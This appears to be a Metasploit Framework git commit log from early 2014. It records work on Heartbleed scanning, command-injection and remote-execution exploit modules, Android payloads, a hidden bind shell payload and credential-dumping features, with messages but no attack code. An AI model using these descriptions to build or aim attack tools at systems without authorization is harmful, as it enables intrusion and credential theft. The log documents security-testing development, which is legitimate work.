openssl_heartbleed module for release.

Conflicts:
	modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
2014-04-10 06:32:58 -07:00
jvazquez-r7 fe066ae944 Land #3207, @7a69 MIPS BE support for Fritz Box's exploit 2014-04-09 23:20:45 -05:00
jvazquez-r7 fdda69d434 Align things 2014-04-09 23:19:41 -05:00
jvazquez-r7 386e2e3d29 Do final / minor cleanup 2014-04-09 23:19:12 -05:00
Christian Mehlmauer 43a4f41513 Land #3242, SSLv3 support 2014-04-10 02:53:09 +02:00
William Vu 3e04fd7ec2 Land #3245, installers are for users 2014-04-11 16:29:30 -05:00
Tod Beardsley 5e1e84db03 Encourage use of the installer for users. 2014-04-11 15:55:18 -05:00
Brandon Turner fbd84f16e1 Land #3243, merge release back into master 2014-04-11 15:16:59 -05:00
Tod Beardsley ea8c15ba47 Land #3241 back into master 2014-04-11 15:08:01 -05:00
Tod Beardsley 3109f42a55 Merge release back into master 2014-04-11 15:07:16 -05:00
Tod Beardsley bbc72c3e1c Update spec to reflect the correct version. 2014-04-11 12:29:26 -05:00
Christian Mehlmauer f115a7f6e1 Fix intendation 2014-04-10 02:52:05 +02:00
gigstorm f1443c039e Updated hash value to SSLv3
Tested and working on server that has SSLv3 only enabled
2014-04-11 14:01:28 -07:00
gigstorm 6ab3478c7e Update to include SSL Version 3 protocol
SSL Version 3 will also respond to this and a server configured to respond to SSL version 3 but not TLS will show false negative without this option (proven).  May need to update cipher suites to include this option.
2014-04-11 12:41:17 -07:00
James Lee f54654a326 More refactor on jtr_linux
Reducing complexity in `run` makes modules easier to read
2014-04-09 19:26:34 -05:00
James Lee 7f900c2628 Micro optimizations for jtr_linux 2014-04-09 19:26:23 -05:00
James Lee 46038d58b7 Refactor jtr_linux copy pasta
Move it to a nifty method
2014-04-09 19:26:11 -05:00
James Lee 95399b0de7 Don't try to be too helpful
John cares not one whit how many colons are in a hash line, only that
there are enough for the format (at least 2 for regular /etc/passwd, at
least 3 for NTLM, etc). So there is no simple way to programmatically
determine whether a password had a colon or there was just an extra on
the end of the original hash line.

[MSP-9778]
See #2515
2014-04-09 19:24:26 -05:00
Christian Mehlmauer 4fc272c0e9 Fix merge error 2014-04-10 00:53:14 +02:00
jvazquez-r7 f398924280 Land @Firefart's new fix for the jabber case 2014-04-09 17:52:53 -05:00
Christian Mehlmauer 98816c3a01 Added @sensepost FTP implemenation 2014-04-10 00:48:09 +02:00
singe ccfcf2cedb Added FTP STARTTLS support to heartbleed scanner. 2014-04-10 00:45:59 +02:00
Joe Vennix bd8918e4e1 Re-add the #random_string(len) method to pass specs. 2014-04-09 17:44:48 -05:00
jvazquez-r7 c0e682b518 Land #3225, @wvu-r7's and @hmoore-r7's improvements for openssl_heartbeat_client_memory 2014-04-09 17:39:04 -05:00
jvazquez-r7 ccdc5bd281 Switch to get since @wvu-r7 also tested successfully with get 2014-04-09 17:30:00 -05:00
Joe Vennix 5170b7230b Tweak Gemfile comment. 2014-04-09 17:24:45 -05:00
Joe Vennix 57aa1eec11 Kick rkelly out to a gem, add rkelly-remixed.
rkelly-remixed is a faster fork of rkelly that is more frequently updated
nowadays. With the new gem, jsobfu obfuscates os.js about twice as fast on
my dev environment.
2014-04-09 17:21:22 -05:00
William Vu b905aece38 Fix job not backgrounding 2014-04-09 17:03:57 -05:00
HD Moore ed247498b6 Make TLS negotiation optional 2014-04-09 17:03:38 -05:00
jvazquez-r7 b0b979ce62 Meterpreter sessions won't get root in this way 2014-04-09 16:59:12 -05:00
Joe Vennix b9284c5635 Use actual vars so that jsobfu can randomize. 2014-04-09 16:56:10 -05:00
Joe Vennix 52432ef482 Use tiny var names by default. 2014-04-09 16:54:02 -05:00
jvazquez-r7 a2ce2bfa56 Fix disclosure date 2014-04-09 16:41:49 -05:00
jvazquez-r7 ff232167a6 Add module for eScan command injection 2014-04-09 16:39:06 -05:00
sinn3r 2de210f1c3 Land #3216 - Update @Meatballs1 and @FireFart in authors.rb 2014-04-09 16:38:10 -05:00
Joe Vennix 49139cc07f Use implicit return for assignment. 2014-04-09 15:48:07 -05:00
Joe Vennix 14fed8c610 Fixes large-string expansion in JSObfu. 2014-04-09 15:45:48 -05:00
William Vu f56f34fb69 Land #3212, @hmoore-r7's client-side Heartbleed 2014-04-09 15:42:36 -05:00
Christian Mehlmauer a86a8fed05 Changed heartbleed jabber implementation to match openssl s_client
see here for example implementation:
https://github.com/openssl/openssl/blob/master/apps/s_client.c#L1719
2014-04-09 22:20:32 +02:00
jvazquez-r7 38a2614fbe Land @wvu-r7's new vprint message 2014-04-09 15:19:10 -05:00
William Vu 2f9a400efa vprint_status the other message message 2014-04-09 15:11:02 -05:00
jvazquez-r7 479bef8770 Land @wvu-r7 verbosity changes 2014-04-09 15:10:33 -05:00
William Vu 84ce72367b Make the output less verbose 2014-04-09 14:57:51 -05:00
Christian Mehlmauer 856ad7e83d heartbleed - Better output on wrong jabber domain and add. nil? check 2014-04-09 21:53:17 +02:00
jvazquez-r7 85536077f7 Land #3222, @jjarmoc's switch for TLS default version 2014-04-09 14:04:29 -05:00
Jeff Jarmoc 7a424784f8 Change default TLS Version to 1.0
Canonical testing shows this to be more widely supported, and yielding far more vulnerable hosts.  Changing default to reflect that.

Experience of others in #metasploit seems similar.
2014-04-09 13:45:00 -05:00
Christian Mehlmauer fec089d88d Land #3219, openssl_heartbleed XMPP fix from @natronkeltner 2014-04-09 20:42:55 +02:00
Christian Mehlmauer e2b50d3709 fix openssl_heardbleed
-) XMPP Domain now configurable
-) Missing get_once to initiate the TLS connection
2014-04-09 20:39:33 +02:00
jvazquez-r7 5696e52fac Fix jabber to field 2014-04-09 13:48:45 -05:00
jvazquez-r7 28a471e446 Land #3221, @Firefart's fix for pop3 starttls 2014-04-09 13:31:45 -05:00
jvazquez-r7 bea810b5d6 Add jabber fix from @natronkeltner 2014-04-09 13:11:45 -05:00
jvazquez-r7 fdf4776142 Land #3217, @todb-r7's title fix for Hearbleed module 2014-04-09 12:10:13 -05:00
jvazquez-r7 157fb5a905 Make title more searchable 2014-04-09 12:08:35 -05:00
jvazquez-r7 58f4a1c085 Usee loop do instead or while true 2014-04-09 11:48:45 -05:00
sinn3r eb9d3520be Land #3208 - Sophos Web Protection Appliance Interface Authenticated Exec 2014-04-09 11:30:59 -05:00
Tod Beardsley 76a9381b2a Make the title of the Heartbleed module searchable
Right now, the title does not actually tie the Heartbeat check to the
Heartbleed attack, so people searching strictly on module title are not
going to get a hit for this module.
2014-04-09 11:03:01 -05:00
jvazquez-r7 bc36b9ebd6 Delete server side PoCs as referecences because don\'t apply here 2014-04-09 10:58:59 -05:00
jvazquez-r7 fd90203120 Change some variable names to make code reading easier 2014-04-09 10:56:50 -05:00
Christian Mehlmauer 899a7c9ea4 heartbleed bugfix for pop3 2014-04-09 17:51:44 +02:00
Tod Beardsley 062175128b Update @Meatballs and @FireFart in authors.rb 2014-04-09 10:46:10 -05:00
jvazquez-r7 315ca54d5a Land #3213, @todb-r7's fix 2014-04-09 10:01:13 -05:00
Tod Beardsley 3849d1517f Restore author credit 2014-04-09 09:42:39 -05:00
jvazquez-r7 e154d175e8 Add @hmoore-r7's heartbeat client side module 2014-04-09 09:38:11 -05:00
jvazquez-r7 1aa8e35551 Land #3211, @Firefart's heartbleed comment reference 2014-04-09 09:13:25 -05:00
jvazquez-r7 8d38087a10 Fix case / when indention 2014-04-09 09:12:55 -05:00
Christian Mehlmauer 0e0fd20f88 Added RFC link 2014-04-09 15:19:29 +02:00
Christian Mehlmauer a0a5b9faa1 Fix heartbleed module
-) incorrect length read
-) Parse TLS errors
2014-04-09 15:08:24 +02:00
kyuz0 8126fd1cc3 Merge pull request #1 from OJ/schlamperei
Bring build tools up to date, change some project settings
2014-04-09 13:46:04 +01:00
Brandon Perry 8428b37e59 move file to .rb ext 2014-04-09 05:17:14 -07:00
jvazquez-r7 a93e22b5c0 Land #3209, @Firefart's heartbleed's module fix 2014-04-09 06:38:06 -05:00
AnwarMohamed 96bb3ce561 Merge remote-tracking branch 'upstream/master' 2014-04-09 10:33:06 +02:00
Christian Mehlmauer 9c159f0aa3 Land #3210, typo in openssl_heartbleed 2014-04-09 09:53:06 +02:00
Meatballs ae3ead6ef9 Land #2107 Post Enum Domain Users 2014-04-09 11:32:12 +01:00
julianvilas 4e7c675f3c Fix typo, extraquote in message 2014-04-09 10:22:15 +02:00
Christian Mehlmauer cdfe333572 updated heartbleed module
-) Heartbeat length was added twice
-) Use the current date for the TLS client_hello
2014-04-09 09:19:05 +02:00
joev b4f5784ba2 Land #3147, @m-1-k-3's mipsbe exec payload. 2014-04-08 22:32:21 -05:00
Brandon Perry 82c9b539ac Fix disclosure date, earlier than I thought 2014-04-08 21:43:49 -05:00
Brandon Perry 3013704c75 Create sophos_wpa_iface_exec
This module exploits both bugs in http://www.zerodayinitiative.com/advisories/ZDI-14-069/
2014-04-08 21:21:43 -05:00
William Vu dd69a9e5dd Land #3206, OpenSSL Heartbleed infoleak 2014-04-08 20:12:00 -05:00
William Vu 5e314f2a7c Fix outstanding issues 2014-04-08 20:11:28 -05:00
sinn3r f3086085b6 Land #3204 - MS14-017 Microsoft Word RTF Object Confusion 2014-04-08 18:47:53 -05:00
jvazquez-r7 a4e1d866e1 Favor nil? 2014-04-08 18:21:49 -05:00
jvazquez-r7 153e003e23 Do small fixes 2014-04-08 18:21:09 -05:00
Joe Vennix fc841331d2 Add a test on echo to check for hex support.
* This is much nicer than checking version on userAgent, which
is often changed when rendered in an embedded webview.
2014-04-08 17:58:31 -05:00
jvazquez-r7 39aecb140a Use the datastore option 2014-04-08 16:55:08 -05:00
jvazquez-r7 496dd944e6 Add support for datastore TLSVERSION 2014-04-08 16:51:50 -05:00
jvazquez-r7 d51aa34437 Use Random generation Time as pointed by @Firefart 2014-04-08 16:46:15 -05:00
jvazquez-r7 d964243cc4 Move heartbeat length to a variable 2014-04-08 16:33:05 -05:00
jvazquez-r7 3d6c553efd Fix endianess 2014-04-08 16:29:31 -05:00
jvazquez-r7 373b05c5aa Minimize extensions in the Hello 2014-04-08 16:21:38 -05:00
jvazquez-r7 3254cce832 Align comment 2014-04-08 16:04:38 -05:00
jvazquez-r7 c20b71e7b6 Switch to vprint unless success 2014-04-08 16:03:38 -05:00
jvazquez-r7 7dbd690c99 Add new references 2014-04-08 16:01:06 -05:00
jvazquez-r7 a55579dd4a Fix references 2014-04-08 15:56:56 -05:00
jvazquez-r7 4004cd8f9a Allow hello data to grow dinamically 2014-04-08 15:52:39 -05:00
jvazquez-r7 b8e2c9fe42 Clean and fix @Firefart's code 2014-04-08 15:32:13 -05:00
jvazquez-r7 80bdbbed92 Solve conflict 2014-04-08 15:18:38 -05:00
Christian Mehlmauer 8c7debb81d Added some comments and modified JABBER 2014-04-08 22:13:02 +02:00
jvazquez-r7 021da84459 Add authors and switch and's format 2014-04-08 15:10:27 -05:00
sinn3r a2b709b20e Land #3189 - Vtiger Install Unauthenticated Remote Command Execution 2014-04-08 14:58:34 -05:00
sinn3r 4012dd0acc Fix everything that needs to be fixed 2014-04-08 14:57:42 -05:00
Christian Mehlmauer 9c053a5b91 Added additional protocols 2014-04-08 21:56:05 +02:00
Fabian Bräunlein 8dce80fd30 Added Big Endianess, improved check()-Function
Some Fritz!Box devices also run in Big Endianess mode. However, since
"uname -a" always returns "mips" and the "file"-command is not
available, autodetection is not an easy task.

The check()-function now checks, whether the device is really
vulnerable.

Furthemore, it's possible to send 92 bytes.
2014-04-08 21:32:36 +02:00
William Vu 69ab46e8cd Land #3205, prevent Travis autofails on msftidy 2014-04-08 14:15:59 -05:00
jvazquez-r7 5f29026cb2 Complete @Firefart's module 2014-04-08 14:13:56 -05:00
Tod Beardsley 2d0ff4b9fb Travis shouldn't autofail msftidy fails... yet
[SeeRM #8498]
2014-04-08 14:05:42 -05:00
Spencer McIntyre 3f6c8afbe3 Fix typo of MSCOMCTL not MCCOMCTL 2014-04-08 14:52:18 -04:00
Spencer McIntyre 85197dffe6 MS14-017 Word RTF listoverridecount memory corruption 2014-04-08 14:44:20 -04:00
Tod Beardsley eab938c7b4 Get rid of requires, too 2014-04-07 16:39:19 -05:00
Tod Beardsley 17ddbccc34 Remove the broken lorcon module set
None of the lorcon / lorcon2 modules have been functional for a long
time, due to the lack of a "Lorcon" gem. It's unclear where it went.

I'm happy to include it and get these working again, but until someone
comes up with some functional code (hint: 'gem install' doesn't work) I
don't see any reason to keep shipping these.

Is there some trick people are doing to make these work? As far as I can
see, they are broken by default.

````
msf auxiliary(wifun) > show options

Module options (auxiliary/dos/wifi/wifun):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHANNEL    11               yes       The initial channel
   DRIVER     autodetect       yes       The name of the wireless driver
for lorcon
   INTERFACE  wlan0            yes       The name of the wireless
interface

msf auxiliary(wifun) > run

[*] The Lorcon2 module is not available: cannot load such file --
Lorcon2
[-] Auxiliary failed: RuntimeError Lorcon2 not available
[-] Call stack:
[-]
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/exploit/lorcon2.rb:67:in
`open_wifi'
[-]
/home/todb/git/rapid7/metasploit-framework/modules/auxiliary/dos/wifi/wifun.rb:29:in
`run'
[*] Auxiliary module execution completed
````
2014-04-07 16:37:10 -05:00
Christian Mehlmauer ac0cafcca6 Initial commit for openssl Heartbleed bug 2014-04-07 21:15:54 +02:00
coma 44640b126c Add Oracle Demantra 2013-5795 (Database Credentials Retrieval) 2014-04-07 11:42:47 -07:00
silascutler 7b9b20a07e Corrected Spaces Issues
Removed extra spaces on line 23&24
2014-04-07 14:30:52 -04:00
sinn3r d385c5ad4b Fix undefined method `rport' for the check command 2014-04-07 11:48:28 -05:00
joev 2e4c2b1637 Disable Android 4.0, add arch detection.
Android 4.0, it turns out, has a different echo builtin than the other androids.
Until we can figure out how to drop a payload on a 4.0 shell, we cannot support it.

Arch detection allows mips/x86/arm ndkstagers to work, unfortunately
x86 ndkstager was not working, so it is disabled for now.
2014-04-07 09:44:43 -05:00
dummys ca7dcc0781 cleanup with msftidy 2014-04-06 12:41:58 +02:00
Karmanovskii 5dbd124ef9 Update mybb_get_type_db.rb 2014-04-05 02:53:43 -07:00
Karmanovskii c035715a71 Update mybb_get_type_db.rb
Changed the name of the variable _Version_server on _version_server according to the recommendation of jvazquez-r7
2014-04-05 02:50:53 -07:00
dummys c90c49e319 Add vtiger install rce 0 day 2014-04-04 10:16:55 +02:00
HD Moore 231138da1b Fix a typo in the nexpose raw importer 2014-04-03 07:12:45 -07:00
Spencer McIntyre aecd13d314 Tab complete the same case 2014-04-03 09:54:48 -04:00
Spencer McIntyre 1c57c0092c Tab complete case insensitive module options too 2014-04-02 23:27:11 -04:00
Joe Vennix 55500ea2f3 Avoid the nullchar. 2014-04-02 21:53:12 -05:00
Spencer McIntyre 7d93d28f1d Support more tab completion features 2014-04-02 21:57:17 -04:00
Joe Vennix 176cc84865 Remove BES and calculate the pid manually. 2014-04-02 17:21:13 -05:00
Christian Mehlmauer 4bf6481242 Added regex option to validate options 2014-04-02 23:51:33 +02:00
OJ e06ed601cf Merge branch 'upstream/master' into ext_server_kiwi 2014-04-03 07:19:36 +10:00
HD Moore 9b025347a9 Use a string match vs regex for Android as the OS 2014-04-02 07:52:20 -07:00
HD Moore b8c5e5ddb7 Refactor host/note reporting for the jenkins module
This prevents this module from blindly overwriting the host
fields and instead reports the information as a note that can
be used by the fingerprinting engine. Additionally, consolidate
all jenkins data bits into a single note vs a dozen.
2014-04-02 07:49:39 -07:00
HD Moore 4caeec81f0 Do not blindly overwrite host fields, report fingerprint.match instead 2014-04-02 07:49:10 -07:00
HD Moore fbec434ab2 Fix up host.os* field usage in the enum_ad_computers module 2014-04-02 07:30:37 -07:00
HD Moore c6013b8514 Fix use of os_flavor for targeting 2014-04-02 07:24:03 -07:00
HD Moore a7a0a306f9 Fix usage of os_flavor for target matching 2014-04-02 07:23:30 -07:00
HD Moore 55d9928186 Fix use of os_flavor to ensure correct target matching 2014-04-02 07:21:54 -07:00
HD Moore be4a366eab Fix up two modules using the old os_flavor definition 2014-04-02 07:19:47 -07:00
HD Moore 749bcf2473 Report fingerprint.match notes, various cleanups 2014-04-02 07:08:23 -07:00
OJ 670a0c8e0f Merge branch 'upstream/master' into ext_server_kiwi 2014-04-02 19:36:42 +10:00
OJ e61e532223 Add support for extraction of wifi profile creds 2014-04-02 17:16:40 +10:00
OJ 1d46e65897 Update to match meterpreter changes
This also includes the ability to specify id and groups for the
golden ticket feature.
2014-04-02 12:29:35 +10:00
HD Moore 2bc6668312 Point gemfile to the dependent git repos in github vs local 2014-04-01 08:55:10 -07:00
silascutler 3788f136d9 Update es_enum.rb
Updated based on comments.
2014-04-01 11:43:15 -04:00
HD Moore 7e227581a7 Rework OS fingerprinting to match Recog changes
This commit changes how os_name and os_flavor are handled
for client-side exploits, matching recent changes to the
server-side exploits and scanner fingerprints.

This commit also updates the client-side fingerprinting to
take into account Windows 8.1 and IE 9, 10, and 11.
2014-04-01 08:14:58 -07:00
HD Moore b5561cc9ec Report a fingerprint instead of overwriting host.os_name 2014-03-30 06:32:38 -07:00
HD Moore 76720e9cf8 Small tweaks, see 4611d0a8d0 2014-03-30 06:27:48 -07:00
HD Moore 4611d0a8d0 Update report_host() to match os_* field changes
This is part of a bigger change to normalize what os_name, os_flavor, and
os_sp actually mean. To summarize the changes happening in Mdm:

1) The vendor name is being removed from os_name
  * "Microsoft Windows" -> "Windows 7"
2) The os_flavor field is being used for the edition of the os_name product
  * "7" -> "Enterprise"
3) The os_sp field specifies a version if known and nothing if not
 * "SP0" -> "", "Service Pack 2" -> "SP2", etc
2014-03-30 06:23:47 -07:00
HD Moore dbb192532e Remove obsolete call to update_host_via_sysinfo() 2014-03-30 06:23:07 -07:00
HD Moore 20bbf7837c Refactor and integrate smb_fingerprint() for Recog support 2014-03-30 05:52:23 -07:00
Karmanovskii b11df0eaf0 Update and rename myBB_GetTypeDB.rb to mybb_get_type_db.rb 2014-03-28 16:47:49 -07:00
kenkeiras 3a4f983a6f Add CVE 2006-5229 reference 2014-03-28 22:35:19 +01:00
kenkeiras bca0d603ef SSH user enumeration script 2014-03-28 16:23:52 +01:00
OJ 86ddd24d26 Update to use Rex::Text and change handling a bit
This change also outputs blank creds so that users know which
accounts have blank passwords
2014-03-28 16:12:51 +10:00
OJ 65e204e834 Modify the menu item descriptions 2014-03-28 11:03:38 +10:00
OJ 3a42cb8a46 Fix typo in kiwi help 2014-03-28 11:03:03 +10:00
Michael Messner 657b096be3 make msftidy happy 2014-03-27 19:24:25 +01:00
Michael Messner ad94653fc0 feedback included 2014-03-27 16:12:34 +01:00
Michael Messner 3fc114e265 exec payload - new try 2014-03-26 19:48:14 +01:00
joe 46f7e6060f Add the updated bins from timwr. 2014-03-25 09:39:53 -07:00
b00stfr3ak 03ad810cf8 Merge pull request #1 from Meatballs1/land_2551
Some changes and cleanup.
2014-03-25 09:37:47 -07:00
joe c71d52e769 Merge branch 'pr-android-bins' of https://github.com/jvennix-r7/metasploit-framework into new-android-bins 2014-03-25 09:35:25 -07:00
jvennix-r7 8d9630a405 Merge pull request #10 from timwr/ndkstager-fix
randomize payload filename
2014-03-25 10:59:56 -05:00
Karmanovskii 0b51e7459c Update myBB_GetTypeDB.rb
I have added detection MyBB forum.
2014-03-24 12:19:51 -07:00
Karn Ganeshen d60b477f50 Adding module description
This module scans for PocketPAD login portal, and performs a login brute force attack to identify valid credentials.
2014-03-24 00:25:22 +05:30
Karn Ganeshen fb659dd434 Adding module description
This module scans for EtherPAD Duo login portal, and performs a login brute force attack to identify valid credentials.
2014-03-24 00:21:15 +05:30
HD Moore 903af02e08 Store at most one http.fingerprint per host/port, revert http_version 2014-03-23 10:42:20 -07:00
Tim 25ca0552e0 cleanup files after exploit 2014-03-23 17:00:29 +00:00
HD Moore f80b9d50f0 Prevent duplicate signatures by using http_fingerprint() without args 2014-03-23 09:59:34 -07:00
Tim f9972239cf randomize payload filename 2014-03-23 16:36:26 +00:00
HD Moore f349f85a70 Reimplement HTTP fingerprinting, backwards compatible
This commit changes the internals of HTTP fingerprinting to store
a whole trove of data about the HTTP response using a hash. The
current API is backwards compatible and has been tested with a
number of modules that depend on HttpFingerprint being sent.

In addition, this change paves the way for advanced fingerprints
that take advantage of the HTTP body and other headers. This is
a requested addition documented  across various module comments.

Finally, this commit completes the closed loop for OS identification
by connecting MSF to MDM to Recog and applying Recog databases for
HTTP Servers, HTTP Cookies, and HTTP Authentication headers to the
results of HTTP fingerprinting runs.

For example, with the appropriate version of MDM/Recog in place,
a http_version scan of Microsoft-IIS/7.0 server will update the
host.os_name field to 'Windows 2008'.
2014-03-23 07:26:11 -07:00
Meatballs d53b56c161 Tidy up 2014-03-22 18:38:58 +00:00
Meatballs b524507e4e Merge remote-tracking branch 'upstream/master' into land_2551
Conflicts:
	modules/exploits/windows/local/ask.rb
2014-03-22 18:14:45 +00:00
Meatballs 7b2f0a64fc Tidy up 2014-03-22 18:07:57 +00:00
Meatballs 04506d76f3 Dont check for admin 2014-03-22 17:57:27 +00:00
OJ 11f9bfadb1 Final bits of documentation and code tweaking 2014-03-19 18:40:53 +10:00
OJ 84728c9fc9 Code tidying and defaulting to empty strings for table format 2014-03-19 16:19:23 +10:00
OJ 959cedb9b1 Bit more code tidying 2014-03-19 16:19:05 +10:00
OJ f80c7b7b51 Fix silly typo 2014-03-19 15:55:12 +10:00
OJ 0dcf992781 Add comments to the kiwi source 2014-03-19 15:45:53 +10:00
OJ 3635fff98e Add support for kerberos ticket enumeration
Fix up a bunch of other issues and do some code tidies too.
2014-03-19 14:25:11 +10:00
silascutler d361597104 Update es_enum.rb 2014-03-18 09:20:04 -04:00
OJ 91e198fd63 Add SAM key dump in LSA dumping output 2014-03-18 09:45:31 +10:00
OJ dfb4b22015 Merge branch 'upstream/master' into ext_server_kiwi 2014-03-18 08:08:45 +10:00
silascutler ad4c354460 Update es_enum.rb
Corrected changes from dev module
2014-03-17 13:38:33 -04:00
Silas Cutler 975c2adbad Fixed spaces issues 2014-03-17 13:34:45 -04:00
Silas Cutler b032f2c270 Added Elastic Search Enum 2014-03-17 13:31:24 -04:00
OJ 409787346e Bring build tools up to date, change some project settings
This commit brings the source into line with the general format/settings
that are used in other exploits.
2014-03-14 22:57:16 +10:00
OJ a9758413c0 Add lsa secret dumps plus other tweaks 2014-03-14 19:50:01 +10:00
kyuzo 41720428e4 Refactoring exploit and adding build files for dll. 2014-03-12 10:25:52 +00:00
Joe Vennix facd743f1f Oops. Add missing dir to dalvikstager path. 2014-03-11 19:48:39 -05:00
Joe Vennix 679cb03ac3 Yank armeabi-v7a bins. 2014-03-11 13:09:50 -05:00
Joe Vennix 15b1a5931c Remove extra resources from android reverse_http(s). 2014-03-11 11:56:05 -05:00
Joe Vennix 5c2168513a Update path in #dalvikstager. 2014-03-11 11:03:36 -05:00
Joe Vennix aa500f1ac2 Merge branch 'new-android-bins' into pr-android-bins 2014-03-10 21:52:24 -05:00
Tim c76924e946 native jni stager 2014-03-10 21:50:00 -05:00
Tim 4f31eba7f4 android payload golf 2014-03-10 21:50:00 -05:00
AnwarMohamed ad8b0ef3d1 using http(s)://LHOST:LPORT 2014-03-10 21:50:00 -05:00
AnwarMohamed b45524ecdd generate cert @ payload/dalvik.rb 2014-03-10 21:50:00 -05:00
AnwarMohamed 99cc94e6fc moving string_sub() to payload/dalvik.rb 2014-03-10 21:49:59 -05:00
AnwarMohamed dc8992924f android reverse_http/s 2014-03-10 21:49:59 -05:00
joe 66ff5998a5 New multi-arch stagers. 2014-03-10 21:49:56 -05:00
joe 60b5191873 New meterpreter bins for testing. 2014-03-10 21:49:14 -05:00
joe 667bed8905 New multi-arch stagers. 2014-03-10 18:50:27 -07:00
root 3c95c021d0 Reference added 2014-03-10 12:17:20 +01:00
root 1fda6b86a1 Changed cmp eax by inc eax. Saved one byte 2014-03-10 12:13:10 +01:00
joe 6616d36d63 New meterpreter bins for testing. 2014-03-07 13:21:30 -08:00
Karmanovskii 6d748f49d3 Update myBB_GetTypeDB.rb
1.I added comment header;
2.I made ​​a link to your account as a comment;
3.I added a link https://github.com/rapid7/metasploit-framework/pull/3070
Items 2 and 3 on the advice wchen-r7
2014-03-07 10:49:30 -08:00
kyuzo 257c121c75 Adding MS013-058 for Windows7 x86 2014-03-06 20:34:01 +00:00
kyuzo 2a1e96165c Adding MS013-058 for Windows7 x86 2014-03-06 18:39:34 +00:00
Karmanovskii 162527c0e4 Update and rename modules/auxiliary/analyze/myBB_GetTypeDB.rb to modules/auxiliary/gather/myBB_GetTypeDB.rb
Minor changes and bug: "Msf :: Auxiliary" - forgot to change
2014-03-06 09:43:23 -08:00
Tim 1e14ec7f6c native jni stager 2014-03-04 11:28:45 +00:00
Etienne Stalmans e452b81fb1 style changes as suggested by @jlee-r7 2014-03-04 08:49:52 +02:00
OJ e0438f570b Merge branch 'upstream/master' into ext_server_kiwi 2014-03-03 17:28:44 +10:00
Meatballs 8dee9b22c3 Reinstate to_byte_array 2014-03-02 22:07:47 +00:00
Meatballs 2acd0a1b1e Reinstance encode_code 2014-03-02 21:03:31 +00:00
Meatballs 2885ebcb40 Merge remote-tracking branch 'upstream/master' into pr2075 2014-03-02 20:57:02 +00:00
Meatballs 0956ae5789 Fix payload selection 2014-03-02 20:56:55 +00:00
Meatballs 1ca690eccf Do some rspec 2014-03-02 20:37:08 +00:00
Meatballs c9a2135959 Merge in semperv 2014-03-02 19:07:13 +00:00
AnwarMohamed b14f3cab46 Revert "android reverse_http/s"
This reverts commit 65ada24d9e.
2014-02-26 04:32:18 +02:00
AnwarMohamed 65ada24d9e android reverse_http/s 2014-02-26 01:44:09 +02:00
Tim 255d2c4db9 android payload golf 2014-02-25 23:28:00 +00:00
staaldraad 0dfa53840a Add @Meatballs1 to authors
Add @Meatballs1 to author list, awesome changes and fixes to the code (almost complete rewrite)
2014-02-22 12:24:56 +02:00
kn0 4ac8e23e48 Changed to clearner solution proposed by @limhoff-r7. 2014-02-21 15:31:12 -06:00
kn0 fcfb48fda1 Added support for Gemfile.local 2014-02-21 13:37:31 -06:00
jakxx c8940c37f5 Updating References 2014-02-21 09:23:08 -05:00
jakxx ef51de3826 Updating References 2014-02-21 09:21:08 -05:00
jakxx b5bc3dd4fc Added py_web_delivery 2014-02-20 21:53:00 -05:00
jakxx 1834784b93 Added php_web_delivery 2014-02-20 13:41:26 -05:00
jakxx 45d554e6d9 Delete powershell_psexec.rb 2014-02-20 12:01:04 -05:00
jakxx 0a63b40572 Merge remote-tracking branch 'upstream/master' 2014-02-20 11:48:41 -05:00
root b4a22aa25d hidden bind shell payload 2014-02-20 16:19:40 +01:00
j0hnf c62fa83a70 msf recommended changes + tweaked exception handling 2014-02-19 22:20:24 +00:00
Karmanovskii 396ff8adaa Rename modules/auxiliary/analyse/myBB_GetTypeDB.rb to modules/auxiliary/analyze/myBB_GetTypeDB.rb
Sorry again  :(
2014-02-19 11:33:57 -08:00
Karmanovskii 81e89eadba Rename modules/exploits/multi/http/myBB_GetTypeDB to modules/auxiliary/analyse/myBB_GetTypeDB.rb
On the advice of "wvu-r7" moved module.
2014-02-19 10:21:05 -08:00
staaldraad fa3ba44ad5 Merge pull request #4 from Meatballs1/enum_domain_users_update
Enum domain users update
2014-02-18 23:15:10 -05:00
Meatballs ff4e91bb1b Check domain return value 2014-02-18 23:34:17 +00:00
Meatballs e4aedfad43 Fixup netapi call 2014-02-18 23:30:29 +00:00
Meatballs c06f86cc2b Updates 2014-02-18 20:31:31 +00:00
Meatballs 6f988209ab Merge remote-tracking branch 'upstream/master' into enum_domain_users_update 2014-02-18 20:02:39 +00:00
j0hnf 4b247e2b9f altered check_dir_file.rb so that it can check for the presence of a list of files/directories supplied using file:/ format rather than being limited to just the one file, handy for checking for indicators of compromise 2014-02-16 03:22:11 +00:00
scriptjunkie 022c52d087 Added bundling to handle many sessions at once. 2014-02-15 15:37:22 -06:00
scriptjunkie c0983138a0 Fix wrapping errors on long domains. 2014-02-15 15:21:16 -06:00
scriptjunkie b0d2949f9a Ensure no race conditions on handlers
Configurable WfsDelay
2014-02-15 15:21:16 -06:00
scriptjunkie a83ca2b8d6 Ghost sessions fix, fewer selfies, cleaner code 2014-02-15 15:21:16 -06:00
scriptjunkie 9c8c16d238 Allow multiple handlers to use same hop. 2014-02-15 15:21:16 -06:00
scriptjunkie 16e1280b8d Style guide fixes. 2014-02-15 15:21:16 -06:00
scriptjunkie a6a731c8ee Keep stage until replaced, nil check, prettify. 2014-02-15 15:21:16 -06:00
scriptjunkie 62f42c57a9 Add instructions for uploading hop.php 2014-02-15 15:21:16 -06:00
scriptjunkie 85ae32775a Fix to make migrate work; use the full URL. 2014-02-15 15:21:16 -06:00
scriptjunkie 5f7a0e162c Add reverse_hop_http stager and handler 2014-02-15 15:21:16 -06:00
Meatballs b8b36ef528 Merge remote-tracking branch 'upstream/master' into pr2075 2014-02-14 22:52:55 +00:00
Karmanovskii f9f2c401ca Create myBB_GetTypeDB
This exploit allows you to specify the type of database forum Mybb.

Works by the operator wrongly used REGEXP. Which is not supported in postgreSQL and SQLite databases.
2014-02-14 13:12:43 -08:00
RageLtMan 0056c26047 import msf exploit 2014-02-12 22:06:18 -05:00
RageLtMan 29bf296b61 import rex powershell 2014-02-12 16:45:57 -05:00
RageLtMan b453362a52 Merge remote-tracking branch 'upstream/pr/2966' into integrate_with_meatballs 2014-02-12 16:43:30 -05:00
Meatballs a4b451dbc0 Ensure we start in a new conhost/process 2014-02-09 23:36:25 +00:00
Meatballs aa93299931 Sleep instead of noexit 2014-02-09 23:19:14 +00:00
Meatballs b79bb4726d Go for background approach 2014-02-09 19:41:24 +00:00
